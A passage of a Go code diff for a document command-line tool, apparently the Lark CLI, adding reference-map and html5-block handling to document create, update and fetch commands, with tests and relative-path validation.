-  it("verifyChecksum throws [SECURITY] on null/empty expectedHash (fail-closed)", () => {
-    const filePath = makeTmpFile("content");
-    for (const expectedHash of [null, ""]) {
-      assert.throws(
-        () => verifyChecksum(filePath, expectedHash),
-        (err) => {
-          assert.match(err.message, /^\[SECURITY\]/);
-          return true;
-        }
-      );
-    }
-  });
 });
 
 describe("assertAllowedHost", () => {

shortcuts/doc/doc_media_upload.go

@@ -23,8 +23,8 @@ var DocMediaUpload = common.Shortcut{
 	AuthTypes:   []string{"user", "bot"},
 	Flags: []common.Flag{
 		{Name: "file", Desc: "local file path (files > 20MB use multipart upload automatically)", Required: true},
-		{Name: "parent-type", Desc: "parent type: docx_image | docx_file | whiteboard", Required: true},
-		{Name: "parent-node", Desc: "parent node ID (block_id for docx, board_token for whiteboard)", Required: true},
+		{Name: "parent-type", Desc: "parent type: docx_image | docx_file | whiteboard | mindnote_image", Required: true},
+		{Name: "parent-node", Desc: "parent node ID (block_id for docx, board_token for whiteboard, mindnote token for mindnote)", Required: true},
 		{Name: "doc-id", Desc: "document ID (for drive_route_token)"},
 	},
 	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {

shortcuts/doc/docs_create_v2.go

@@ -18,6 +18,7 @@ func v2CreateFlags() []common.Flag {
 	return []common.Flag{
 		{Name: "title", Desc: "document title; when provided, the CLI prepends it to --content as <title>...</title> so the title wins over later content titles"},
 		{Name: "content", Desc: "document body; XML by default or Markdown when --doc-format markdown. " + docsContentSkillHelp + "; use --help for the latest command flags", Input: []string{common.File, common.Stdin}},
+		{Name: "reference-map", Desc: docsReferenceMapFlagDesc, Input: []string{common.File, common.Stdin}},
 		{Name: "doc-format", Desc: "content format; xml is default and supports richer DocxXML blocks, markdown imports plain Markdown", Default: "xml", Enum: []string{"xml", "markdown"}},
 		{Name: "parent-token", Desc: "parent folder token or wiki node token; mutually exclusive with --parent-position"},
 		{Name: "parent-position", Desc: "parent position such as my_library; mutually exclusive with --parent-token"},
@@ -32,8 +33,8 @@ func validateCreateV2(_ context.Context, runtime *common.RuntimeContext) error {
 	if runtime.Changed("title") && title == "" {
 		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--title must not be empty").WithParam("--title")
 	}
-	if runtime.Str("content") == "" && title == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content is required unless --title is provided").WithParam("--content")
+	if err := validateDocsV2ReferenceMapFlags(runtime); err != nil {
+		return err
 	}
 	if runtime.Str("parent-token") != "" && runtime.Str("parent-position") != "" {
 		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--parent-token and --parent-position are mutually exclusive").WithParams(
@@ -41,11 +42,21 @@ func validateCreateV2(_ context.Context, runtime *common.RuntimeContext) error {
 			errs.InvalidParam{Name: "--parent-position", Reason: "mutually exclusive with --parent-token"},
 		)
 	}
+	if runtime.Str("content") == "" && title == "" {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content is required unless --title is provided").WithParam("--content")
+	}
+	if runtime.Str("content") != "" {
+		_, err := resolveDocsV2ContentReferenceMap(runtime)
+		return err
+	}
 	return nil
 }
 
 func dryRunCreateV2(_ context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
-	body := buildCreateBody(runtime)
+	body, err := buildCreateBodyWithHTML5ReferenceMap(runtime)
+	if err != nil {
+		return common.NewDryRunAPI().Set("error", err.Error())
+	}
 	desc := "OpenAPI: create document"
 	if runtime.IsBot() {
 		desc += ". After document creation succeeds in bot mode, the CLI will also try to grant the current CLI user full_access (可管理权限) on the new document."
@@ -57,7 +68,10 @@ func dryRunCreateV2(_ context.Context, runtime *common.RuntimeContext) *common.D
 }
 
 func executeCreateV2(_ context.Context, runtime *common.RuntimeContext) error {
-	body := buildCreateBody(runtime)
+	body, err := buildCreateBodyWithHTML5ReferenceMap(runtime)
+	if err != nil {
+		return err
+	}
 
 	data, err := doDocAPI(runtime, "POST", "/open-apis/docs_ai/v1/documents", body)
 	if err != nil {
@@ -86,7 +100,10 @@ func buildCreateBody(runtime *common.RuntimeContext) map[string]interface{} {
 }
 
 func buildCreateContent(runtime *common.RuntimeContext) string {
-	content := runtime.Str("content")
+	return buildCreateContentWithBody(runtime, runtime.Str("content"))
+}
+
+func buildCreateContentWithBody(runtime *common.RuntimeContext, content string) string {
 	title := strings.TrimSpace(runtime.Str("title"))
 	if title == "" {
 		return content

shortcuts/doc/docs_fetch_v2.go

@@ -14,7 +14,7 @@ import (
 	"github.com/larksuite/cli/shortcuts/common"
 )
 
-const docsFetchExtraParam = `{"enable_user_cite_reference_map":true}`
+const docsFetchExtraParam = `{"enable_user_cite_reference_map":true,"return_html5_block_data":true}`
 
 // v2FetchFlags returns the flag definitions for the v2 (OpenAPI) fetch path.
 func v2FetchFlags() []common.Flag {
@@ -71,6 +71,9 @@ func executeFetchV2(_ context.Context, runtime *common.RuntimeContext) error {
 	if err != nil {
 		return err
 	}
+	if err := processHTML5BlockReferenceMapForFetch(runtime, effectiveFetchFormat(runtime), ref.Token, data); err != nil {
+		return err
+	}
 	if warning := addFetchDetailDowngradeWarning(runtime, data); warning != "" && runtime.Format == "pretty" {
 		fmt.Fprintf(runtime.IO().ErrOut, "warning: %s\n", warning)
 	}

shortcuts/doc/docs_fetch_v2_test.go

@@ -505,14 +505,14 @@ func TestBuildFetchBodyIncludesFetchExtraParamByDefault(t *testing.T) {
 	if got["enable_user_cite_reference_map"] != true {
 		t.Fatalf("enable_user_cite_reference_map = %#v, want true in %#v", got["enable_user_cite_reference_map"], got)
 	}
-	if _, ok := got["return_html5_block_data"]; ok {
-		t.Fatalf("extra_param should not request html5 block data: %#v", got)
+	if got["return_html5_block_data"] != true {
+		t.Fatalf("return_html5_block_data = %#v, want true in %#v", got["return_html5_block_data"], got)
 	}
 	if _, ok := got["reference_map_mode"]; ok {
 		t.Fatalf("extra_param should not use legacy reference_map_mode: %#v", got)
 	}
-	if len(got) != 1 {
-		t.Fatalf("extra_param should only contain fetch reference_map toggle: %#v", got)
+	if len(got) != 2 {
+		t.Fatalf("extra_param should only contain fetch reference_map and html5 data toggles: %#v", got)
 	}
 }
 
@@ -579,6 +579,46 @@ func TestDocsFetchIMMarkdownRequestsMarkdownFromAPI(t *testing.T) {
 	}
 }
 
+func TestDocsFetchIMMarkdownIgnoresHTML5BlockInsideCodeFence(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-fetch-im-markdown-code-fence"))
+	registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents/doxcnFetchIMMarkdownFence/fetch", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcnFetchIMMarkdownFence",
+			"revision_id": float64(1),
+			"content":     "```xml\n<html5-block data-ref=\"html5_1\"></html5-block>\n```\n",
+		},
+	})
+
+	err := mountAndRunDocs(t, DocsFetch, []string{
+		"+fetch",
+		"--doc", "doxcnFetchIMMarkdownFence",
+		"--doc-format", "im-markdown",
+		"--format", "json",
+		"--as", "bot",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	var envelope map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &envelope); err != nil {
+		t.Fatalf("decode output: %v\nraw=%s", err, stdout.String())
+	}
+	if errField, ok := envelope["error"]; ok {
+		t.Fatalf("fetch output should not contain error: %#v", errField)
+	}
+	data, _ := envelope["data"].(map[string]interface{})
+	doc, _ := data["document"].(map[string]interface{})
+	content, _ := doc["content"].(string)
+	if !strings.Contains(content, "```xml\n<html5-block data-ref=\"html5_1\"></html5-block>\n```") {
+		t.Fatalf("fenced html5-block should stay in content, got:\n%s", content)
+	}
+	if _, ok := doc["reference_map"]; ok {
+		t.Fatalf("fenced html5-block should not create reference_map side effects: %#v", doc["reference_map"])
+	}
+}
+
 func TestDocsFetchMarkdownDetailDowngradesToSimple(t *testing.T) {
 	t.Parallel()
 

shortcuts/doc/docs_update_test.go

@@ -5,6 +5,7 @@ package doc
 import (
 	"context"
 	"errors"
+	"os"
 	"strings"
 	"testing"
 
@@ -63,6 +64,39 @@ func TestDocsUpdateDryRunIgnoresAPIVersionCompatFlag(t *testing.T) {
 	}
 }
 
+func TestBuildUpdateBodyWithHTML5ReferenceMapReportsPathError(t *testing.T) {
+	t.Parallel()
+
+	runtime := newUpdateShortcutTestRuntime(t, "", map[string]string{
+		"content": `<html5-block path="@missing.html"></html5-block>`,
+	})
+
+	_, err := buildUpdateBodyWithHTML5ReferenceMap(runtime)
+	if err == nil {
+		t.Fatal("buildUpdateBodyWithHTML5ReferenceMap() succeeded, want error")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("ProblemOf() ok = false for %T (%v)", err, err)
+	}
+	if p.Category != errs.CategoryValidation {
+		t.Fatalf("category = %q, want %q", p.Category, errs.CategoryValidation)
+	}
+	if p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype = %q, want %q", p.Subtype, errs.SubtypeInvalidArgument)
+	}
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("error type = %T, want *errs.ValidationError", err)
+	}
+	if validationErr.Param != "path" {
+		t.Fatalf("param = %q, want path", validationErr.Param)
+	}
+	if !errors.Is(err, os.ErrNotExist) {
+		t.Fatalf("error should preserve os.ErrNotExist cause, got: %v", err)
+	}
+}
+
 func TestDocsUpdateV2ReferenceMapFlagIsPublicFileInput(t *testing.T) {
 	t.Parallel()
 

shortcuts/doc/docs_update_v2.go

@@ -24,7 +24,9 @@ var validCommandsV2 = map[string]bool{
 	"append":                  true,
 }
 
-const docsUpdateReferenceMapFlagDesc = "结构化 `reference_map` JSON object；当 `--content` 使用正文外部载荷 / 引用映射时与内容一起传给服务，支持直接 JSON、`@reference-map.json`（相对路径）或 `-` 从 stdin 读取。通常用于回写已有 `document.reference_map`。"
+const docsReferenceMapFlagDesc = "结构化 `reference_map` JSON object；必须与 `--content` 一起使用。普通写入优先把结构写在正文里；`--reference-map` 主要用于保留或回放已有 `document.reference_map`。支持直接 JSON、`@reference-map.json`（相对路径）或 `-` 从 stdin 读取。"
+
+const docsUpdateReferenceMapFlagDesc = docsReferenceMapFlagDesc
 
 // v2UpdateFlags returns the flag definitions for the v2 (OpenAPI) update path.
 func v2UpdateFlags() []common.Flag {
@@ -115,13 +117,20 @@ func validateUpdateV2(_ context.Context, runtime *common.RuntimeContext) error {
 			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--command append requires --content").WithParam("--content")
 		}
 	}
+	if content != "" {
+		_, err := resolveDocsV2ContentReferenceMap(runtime)
+		return err
+	}
 	return nil
 }
 
 func dryRunUpdateV2(_ context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
 	// Validate has already accepted --doc; parseDocumentRef cannot fail here.
 	ref, _ := parseDocumentRef(runtime.Str("doc"))
-	body, _ := buildUpdateBodyWithReferenceMap(runtime)
+	body, err := buildUpdateBodyWithHTML5ReferenceMap(runtime)
+	if err != nil {
+		return common.NewDryRunAPI().Set("error", err.Error())
+	}
 	apiPath := fmt.Sprintf("/open-apis/docs_ai/v1/documents/%s", ref.Token)
 	return common.NewDryRunAPI().
 		PUT(apiPath).
@@ -134,7 +143,7 @@ func executeUpdateV2(_ context.Context, runtime *common.RuntimeContext) error {
 	ref, _ := parseDocumentRef(runtime.Str("doc"))
 
 	apiPath := fmt.Sprintf("/open-apis/docs_ai/v1/documents/%s", ref.Token)
-	body, err := buildUpdateBodyWithReferenceMap(runtime)
+	body, err := buildUpdateBodyWithHTML5ReferenceMap(runtime)
 	if err != nil {
 		return err
 	}

shortcuts/doc/html5_block_resources.go

@@ -0,0 +1,696 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package doc
+
+import (
+	"bytes"
+	"encoding/json"
+	"encoding/xml"
+	"errors"
+	"fmt"
+	"io"
+	"path/filepath"
+	"regexp"
+	"strings"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/extension/fileio"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/shortcuts/common"
+)
+
+const (
+	html5BlockTag             = "html5-block"
+	html5BlockPathAttr        = "path"
+	html5BlockDataRefAttr     = "data-ref"
+	html5BlockDataAttr        = "data"
+	html5BlockReferenceRoot   = "doc-fetch-resources"
+	html5BlockReferenceMaxRaw = 1024
+)
+
+var (
+	html5BlockStartTagPattern = regexp.MustCompile(`(?is)<html5-block\b[^>]*>`)
+	html5BlockElementPattern  = regexp.MustCompile(`(?is)<html5-block\b[^>]*>(.*?)</html5-block>`)
+	html5BlockSafeNamePattern = regexp.MustCompile(`^[A-Za-z0-9._-]+$`)
+)
+
+type html5BlockReferenceEntry struct {
+	Data   string `json:"data,omitempty"`
+	Path   string `json:"path,omitempty"`
+	UserID string `json:"user_id,omitempty"`
+}
+
+type html5BlockReferenceMap map[string]map[string]html5BlockReferenceEntry
+
+type docsV2WriteInput struct {
+	Content      string
+	ReferenceMap map[string]interface{}
+}
+
+type html5BlockAttr struct {
+	Name  string
+	Value string
+}
+
+type html5BlockStartTag struct {
+	Attrs       []html5BlockAttr
+	SelfClosing bool
+}
+
+func buildCreateBodyWithHTML5ReferenceMap(runtime *common.RuntimeContext) (map[string]interface{}, error) {
+	body := buildCreateBody(runtime)
+	if runtime.Str("content") == "" && !runtime.Changed("reference-map") {
+		return body, nil
+	}
+	input, err := resolveDocsV2ContentReferenceMap(runtime)
+	if err != nil {
+		return nil, err
+	}
+	body["content"] = buildCreateContentWithBody(runtime, input.Content)
+	if len(input.ReferenceMap) > 0 {
+		body["reference_map"] = input.ReferenceMap
+	}
+	return body, nil
+}
+
+func buildUpdateBodyWithHTML5ReferenceMap(runtime *common.RuntimeContext) (map[string]interface{}, error) {
+	body := buildUpdateBody(runtime)
+	input, err := resolveDocsV2ContentReferenceMap(runtime)
+	if err != nil {
+		return nil, err
+	}
+	if input.Content != "" {
+		body["content"] = input.Content
+	}
+	if len(input.ReferenceMap) > 0 {
+		body["reference_map"] = input.ReferenceMap
+	}
+	return body, nil
+}
+
+func validateDocsV2ReferenceMapFlags(runtime *common.RuntimeContext) error {
+	if runtime.Changed("reference-map") && runtime.Str("content") == "" {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--reference-map requires --content").WithParam("--reference-map")
+	}
+	return nil
+}
+
+func resolveDocsV2ContentReferenceMap(runtime *common.RuntimeContext) (docsV2WriteInput, error) {
+	input := docsV2WriteInput{Content: runtime.Str("content")}
+	if raw := runtime.Str("reference-map"); strings.TrimSpace(raw) != "" {
+		refMap, err := parseReferenceMapObject(raw, "--reference-map")
+		if err != nil {
+			return docsV2WriteInput{}, err
+		}
+		input.ReferenceMap = refMap
+	}
+	return prepareDocsV2WriteInput(runtime, input)
+}
+
+func prepareDocsV2WriteInput(runtime *common.RuntimeContext, input docsV2WriteInput) (docsV2WriteInput, error) {
+	refMap := cloneReferenceMapObject(input.ReferenceMap)
+	html5RefMap, err := html5ReferenceMapFromObject(refMap)
+	if err != nil {
+		return docsV2WriteInput{}, err
+	}
+
+	content, html5RefMap, err := prepareHTML5BlockWriteContent(runtime, runtime.Str("doc-format"), input.Content, html5RefMap)
+	if err != nil {
+		return docsV2WriteInput{}, err
+	}
+	if err := resolveReferenceMapPaths(runtime, html5RefMap); err != nil {
+		return docsV2WriteInput{}, err
+	}
+	refMap = mergeHTML5ReferenceMap(refMap, html5RefMap)
+	return docsV2WriteInput{
+		Content:      content,
+		ReferenceMap: refMap,
+	}, nil
+}
+
+func parseReferenceMapObject(raw string, label string) (map[string]interface{}, error) {
+	if len(bytes.TrimSpace([]byte(raw))) == 0 || string(bytes.TrimSpace([]byte(raw))) == "null" {
+		return nil, nil
+	}
+	var refMap map[string]interface{}
+	if err := json.Unmarshal([]byte(raw), &refMap); err != nil {
+		return nil, common.ValidationErrorf("%s is not valid reference_map JSON: %v", label, err).WithParam(label).WithCause(err)
+	}
+	return refMap, nil
+}
+
+func parseHTML5BlockReferenceMapBytes(raw []byte, label string) (html5BlockReferenceMap, error) {
+	if len(bytes.TrimSpace(raw)) == 0 || string(bytes.TrimSpace(raw)) == "null" {
+		return nil, nil
+	}
+	var refMap html5BlockReferenceMap
+	if err := json.Unmarshal(raw, &refMap); err != nil {
+		return nil, common.ValidationErrorf("%s is not valid reference_map JSON: %v", label, err).WithParam(label).WithCause(err)
+	}
+	return compactReferenceMap(refMap), nil
+}
+
+func prepareHTML5BlockWriteContent(runtime *common.RuntimeContext, format string, content string, refMap html5BlockReferenceMap) (string, html5BlockReferenceMap, error) {
+	if !strings.Contains(content, "<html5-block") {
+		return content, compactReferenceMap(refMap), nil
+	}
+	if err := validateHTML5BlockWriteElementBodies(format, content); err != nil {
+		return "", nil, err
+	}
+
+	refMap = cloneReferenceMap(refMap)
+	if refMap == nil {
+		refMap = html5BlockReferenceMap{}
+	}
+	ensureReferenceGroup(refMap, html5BlockTag)
+	nextRef := nextHTML5BlockRef(refMap)
+
+	rewrite := func(segment string) (string, error) {
+		return rewriteHTML5BlockStartTags(segment, func(raw string) (string, error) {
+			tag, err := parseHTML5BlockStartTag(raw)
+			if err != nil {
+				return "", common.ValidationErrorf("invalid html5-block tag: %v", err).WithParam("html5-block")
+			}
+			if tag.hasAttr(html5BlockDataAttr) {
+				return "", common.ValidationErrorf("html5-block data is reserved for SDK internals; use data-ref with reference_map or path=\"@relative.html\"").WithParam("html5-block")
+			}
+
+			pathValue, hasPath := tag.attr(html5BlockPathAttr)
+			dataRef, hasDataRef := tag.attr(html5BlockDataRefAttr)
+			if hasPath && hasDataRef {
+				return "", common.ValidationErrorf("html5-block cannot contain both path and data-ref").WithParam("html5-block")
+			}
+			if hasDataRef {
+				ref := strings.TrimSpace(dataRef)
+				if ref == "" {
+					return "", common.ValidationErrorf("html5-block data-ref cannot be empty").WithParam("data-ref")
+				}
+				if _, ok := refMap[html5BlockTag][ref]; !ok {
+					return "", common.ValidationErrorf("reference_map.%s.%s is required for html5-block data-ref", html5BlockTag, ref).WithParam("reference_map")
+				}
+				return tag.render(false), nil
+			}
+			if !hasPath {
+				return "", common.ValidationErrorf("html5-block requires path=\"@relative.html\" or data-ref with reference_map").WithParam("html5-block")
+			}
+
+			data, err := readHTML5BlockPath(runtime, pathValue, "html5-block path")
+			if err != nil {
+				return "", err
+			}
+			ref := nextRef()
+			refMap[html5BlockTag][ref] = html5BlockReferenceEntry{Data: data}
+			tag.removeAttrs(html5BlockPathAttr, html5BlockDataRefAttr, html5BlockDataAttr)
+			tag.Attrs = append(tag.Attrs, html5BlockAttr{Name: html5BlockDataRefAttr, Value: ref})
+			return tag.render(false), nil
+		})
+	}
+
+	var (
+		out string
+		err error
+	)
+	if strings.TrimSpace(format) == "markdown" {
+		out = applyOutsideCodeFences(content, func(segment string) string {
+			if err != nil {
+				return segment
+			}
+			outSegment, rewriteErr := rewrite(segment)
+			if rewriteErr != nil {
+				err = rewriteErr
+				return segment
+			}
+			return outSegment
+		})
+	} else {
+		out, err = rewrite(content)
+	}
+	if err != nil {
+		return "", nil, err
+	}
+	return out, compactReferenceMap(refMap), nil
+}
+
+func validateHTML5BlockWriteElementBodies(format string, content string) error {
+	validateSegment := func(segment string) error {
+		matches := html5BlockElementPattern.FindAllStringSubmatchIndex(segment, -1)
+		for _, match := range matches {
+			if len(match) < 4 || match[2] < 0 || match[3] < 0 {
+				continue
+			}
+			if strings.TrimSpace(segment[match[2]:match[3]]) != "" {
+				return common.ValidationErrorf("html5-block content must be loaded from path=\"@relative.html\" or reference_map; remove content between <html5-block> and </html5-block>").WithParam("html5-block")
+			}
+		}
+		return nil
+	}
+
+	if strings.TrimSpace(format) != "markdown" {
+		return validateSegment(content)
+	}
+
+	var validateErr error
+	_ = applyOutsideCodeFences(content, func(segment string) string {
+		if validateErr != nil {
+			return segment
+		}
+		validateErr = validateSegment(segment)
+		return segment
+	})
+	return validateErr
+}
+
+func processHTML5BlockReferenceMapForFetch(runtime *common.RuntimeContext, format string, docToken string, data map[string]interface{}) error {
+	doc, _ := data["document"].(map[string]interface{})
+	if doc == nil {
+		return nil
+	}
+	content, _ := doc["content"].(string)
+	if !hasProcessableHTML5Block(format, content) {
+		return nil
+	}
+
+	refMap, err := referenceMapFromDocument(doc)
+	if err != nil {
+		return err
+	}
+	group := refMap[html5BlockTag]
+	if group == nil {
+		return common.ValidationErrorf("document.reference_map.%s is required for fetched html5-block content", html5BlockTag).WithParam("reference_map")
+	}
+
+	if err := validateFetchedHTML5BlockRefs(format, content, refMap); err != nil {
+		return err
+	}
+
+	changed := false
+	for ref, entry := range group {
+		if entry.Data == "" || len([]byte(entry.Data)) <= html5BlockReferenceMaxRaw {
+			continue
+		}
+		relPath, err := writeHTML5BlockReferenceFile(runtime, docToken, ref, entry.Data)
+		if err != nil {
+			return err
+		}
+		entry.Data = ""
+		entry.Path = "@" + filepath.ToSlash(relPath)
+		group[ref] = entry
+		changed = true
+	}
+	if changed {
+		doc["reference_map"] = refMap
+	}
+	return nil
+}
+
+func referenceMapFromDocument(doc map[string]interface{}) (html5BlockReferenceMap, error) {
+	raw, ok := doc["reference_map"]
+	if !ok || raw == nil {
+		return nil, common.ValidationErrorf("document.reference_map is required for fetched html5-block content").WithParam("reference_map")
+	}
+	refMap, err := referenceMapFromValue(raw, "document.reference_map")
+	if err != nil {
+		return nil, err
+	}
+	if len(refMap) == 0 {
+		return nil, common.ValidationErrorf("document.reference_map is required for fetched html5-block content").WithParam("reference_map")
+	}
+	return refMap, nil
+}
+
+func referenceMapFromValue(value interface{}, label string) (html5BlockReferenceMap, error) {
+	if typed, ok := value.(html5BlockReferenceMap); ok {
+		return compactReferenceMap(typed), nil
+	}
+	raw, err := json.Marshal(value)
+	if err != nil {
+		return nil, common.ValidationErrorf("%s is not valid reference_map JSON: %v", label, err).WithParam("reference_map").WithCause(err)
+	}
+	return parseHTML5BlockReferenceMapBytes(raw, label)
+}
+
+func validateFetchedHTML5BlockRefs(format string, content string, refMap html5BlockReferenceMap) error {
+	validateSegment := func(segment string) error {
+		_, err := rewriteHTML5BlockStartTags(segment, func(raw string) (string, error) {
+			tag, parseErr := parseHTML5BlockStartTag(raw)
+			if parseErr != nil {
+				return raw, common.ValidationErrorf("invalid html5-block tag in fetched content: %v", parseErr).WithParam("html5-block")
+			}
+			ref, ok := tag.attr(html5BlockDataRefAttr)
+			if !ok || strings.TrimSpace(ref) == "" {
+				return raw, common.ValidationErrorf("fetched html5-block is missing data-ref; cannot resolve HTML reference").WithParam("html5-block")
+			}
+			ref = strings.TrimSpace(ref)
+			if _, ok := refMap[html5BlockTag][ref]; !ok {
+				return raw, common.ValidationErrorf("document.reference_map.%s.%s is missing; cannot resolve html5-block. Re-run fetch or check that the upstream document.reference_map field includes this ref.", html5BlockTag, ref).WithParam("reference_map")
+			}
+			return raw, nil
+		})
+		return err
+	}
+
+	if strings.TrimSpace(format) != "markdown" {
+		return validateSegment(content)
+	}
+	var validateErr error
+	_ = applyOutsideCodeFences(content, func(segment string) string {
+		if validateErr != nil {
+			return segment
+		}
+		validateErr = validateSegment(segment)
+		return segment
+	})
+	return validateErr
+}
+
+func resolveReferenceMapPaths(runtime *common.RuntimeContext, refMap html5BlockReferenceMap) error {
+	for typ, group := range refMap {
+		for ref, entry := range group {
+			if strings.TrimSpace(entry.Path) == "" {
+				continue
+			}
+			if entry.Data != "" {
+				return common.ValidationErrorf("reference_map.%s.%s must use either data or path, not both", typ, ref).WithParam("reference_map")
+			}
+			data, err := readHTML5BlockPath(runtime, entry.Path, fmt.Sprintf("reference_map.%s.%s.path", typ, ref))
+			if err != nil {
+				return err
+			}
+			entry.Data = data
+			entry.Path = ""
+			group[ref] = entry
+		}
+	}
+	return nil
+}
+
+func readHTML5BlockPath(runtime *common.RuntimeContext, pathValue string, label string) (string, error) {
+	pathRaw := strings.TrimSpace(pathValue)
+	if !strings.HasPrefix(pathRaw, "@") {
+		return "", common.ValidationErrorf("%s %q must start with @, for example @widget.html", label, pathValue).WithParam("path")
+	}
+	relPath := strings.TrimSpace(strings.TrimPrefix(pathRaw, "@"))
+	if relPath == "" {
+		return "", common.ValidationErrorf("%s cannot be empty after @", label).WithParam("path")
+	}
+	clean := filepath.Clean(relPath)
+	if filepath.IsAbs(clean) || clean == "." || clean == ".." || strings.HasPrefix(clean, ".."+string(filepath.Separator)) {
+		return "", common.ValidationErrorf("%s %q must be a relative path within the current working directory", label, pathValue).WithParam("path")
+	}
+	if strings.ToLower(filepath.Ext(clean)) != ".html" {
+		return "", common.ValidationErrorf("%s %q must point to a .html file", label, pathValue).WithParam("path")
+	}
+	data, err := cmdutil.ReadInputFile(runtime.FileIO(), clean)
+	if err != nil {
+		return "", common.ValidationErrorf("%s %q cannot be read from the current working directory; check that the file exists relative to where lark-cli is running: %v", label, clean, err).WithParam("path").WithCause(err)
+	}
+	return string(data), nil
+}
+
+func hasProcessableHTML5Block(format string, content string) bool {
+	if !strings.Contains(content, "<html5-block") {
+		return false
+	}
+	if strings.TrimSpace(format) != "markdown" {
+		return true
+	}
+	found := false
+	_ = applyOutsideCodeFences(content, func(segment string) string {
+		if strings.Contains(segment, "<html5-block") {
+			found = true
+		}
+		return segment
+	})
+	return found
+}
+
+func applyOutsideCodeFences(content string, fn func(segment string) string) string {
+	var out strings.Builder
+	var segment strings.Builder
+	inFence := false
+
+	flush := func() {
+		if segment.Len() == 0 {
+			return
+		}
+		out.WriteString(fn(segment.String()))
+		segment.Reset()
+	}
+
+	for _, line := range strings.SplitAfter(content, "\n") {
+		trimmed := strings.TrimSpace(line)
+		if strings.HasPrefix(trimmed, "```") || strings.HasPrefix(trimmed, "~~~") {
+			if !inFence {
+				flush()
+				inFence = true
+			} else {
+				inFence = false
+			}
+			out.WriteString(line)
+			continue
+		}
+		if inFence {
+			out.WriteString(line)
+		} else {
+			segment.WriteString(line)
+		}
+	}
+	flush()
+	return out.String()
+}
+
+func cloneReferenceMap(refMap html5BlockReferenceMap) html5BlockReferenceMap {
+	if len(refMap) == 0 {
+		return nil
+	}
+	out := make(html5BlockReferenceMap, len(refMap))
+	for typ, group := range refMap {
+		if len(group) == 0 {
+			continue
+		}
+		outGroup := make(map[string]html5BlockReferenceEntry, len(group))
+		for ref, entry := range group {
+			outGroup[ref] = entry
+		}
+		out[typ] = outGroup
+	}
+	return out
+}
+
+func cloneReferenceMapObject(refMap map[string]interface{}) map[string]interface{} {
+	if len(refMap) == 0 {
+		return nil
+	}
+	out := make(map[string]interface{}, len(refMap))
+	for key, value := range refMap {
+		out[key] = value
+	}
+	return out
+}
+
+func html5ReferenceMapFromObject(refMap map[string]interface{}) (html5BlockReferenceMap, error) {
+	if len(refMap) == 0 {
+		return nil, nil
+	}
+	group, ok := refMap[html5BlockTag]
+	if !ok || group == nil {
+		return nil, nil
+	}
+	return referenceMapFromValue(map[string]interface{}{html5BlockTag: group}, "reference_map."+html5BlockTag)
+}
+
+func mergeHTML5ReferenceMap(refMap map[string]interface{}, html5RefMap html5BlockReferenceMap) map[string]interface{} {
+	group := html5RefMap[html5BlockTag]
+	if len(group) == 0 {
+		return refMap
+	}
+	if refMap == nil {
+		refMap = map[string]interface{}{}
+	}
+	refMap[html5BlockTag] = group
+	return refMap
+}
+
+func compactReferenceMap(refMap html5BlockReferenceMap) html5BlockReferenceMap {
+	if len(refMap) == 0 {
+		return nil
+	}
+	out := make(html5BlockReferenceMap, len(refMap))
+	for typ, group := range refMap {
+		if len(group) == 0 {
+			continue
+		}
+		out[typ] = group
+	}
+	if len(out) == 0 {
+		return nil
+	}
+	return out
+}
+
+func ensureReferenceGroup(refMap html5BlockReferenceMap, typ string) {
+	if refMap[typ] == nil {
+		refMap[typ] = map[string]html5BlockReferenceEntry{}
+	}
+}
+
+func nextHTML5BlockRef(refMap html5BlockReferenceMap) func() string {
+	next := 1
+	return func() string {
+		for {
+			ref := fmt.Sprintf("html5_%d", next)
+			next++
+			if _, exists := refMap[html5BlockTag][ref]; !exists {
+				return ref
+			}
+		}
+	}
+}
+
+func writeHTML5BlockReferenceFile(runtime *common.RuntimeContext, docToken string, ref string, html string) (string, error) {
+	if !isSafeHTML5BlockResourceName(docToken) {
+		return "", common.ValidationErrorf("document_id %q cannot be used as a resource directory name", docToken).WithParam("document_id")
+	}
+	if !isSafeHTML5BlockResourceName(ref) {
+		return "", common.ValidationErrorf("html5-block data-ref %q cannot be used as a file name", ref).WithParam("data-ref")
+	}
+	relPath := filepath.Join(html5BlockReferenceRoot, docToken, ref+".html")
+	data := []byte(html)
+	_, err := runtime.FileIO().Save(relPath, fileio.SaveOptions{
+		ContentType:   "text/html; charset=utf-8",
+		ContentLength: int64(len(data)),
+	}, bytes.NewReader(data))
+	if err != nil {
+		if errors.Is(err, fileio.ErrPathValidation) {
+			return "", common.ValidationErrorf("cannot write html5-block reference file %q: %v", relPath, err).WithParam("reference_map").WithCause(err)
+		}
+		return "", errs.NewInternalError(errs.SubtypeFileIO, "cannot write html5-block reference file %q: %v", relPath, err).WithCause(err)
+	}
+	return relPath, nil
+}
+
+func isSafeHTML5BlockResourceName(name string) bool {
+	return name != "." && name != ".." && html5BlockSafeNamePattern.MatchString(name)
+}
+
+func rewriteHTML5BlockStartTags(content string, fn func(raw string) (string, error)) (string, error) {
+	var rewriteErr error
+	out := html5BlockStartTagPattern.ReplaceAllStringFunc(content, func(raw string) string {
+		if rewriteErr != nil {
+			return raw
+		}
+		rewritten, err := fn(raw)
+		if err != nil {
+			rewriteErr = err
+			return raw
+		}
+		return rewritten
+	})
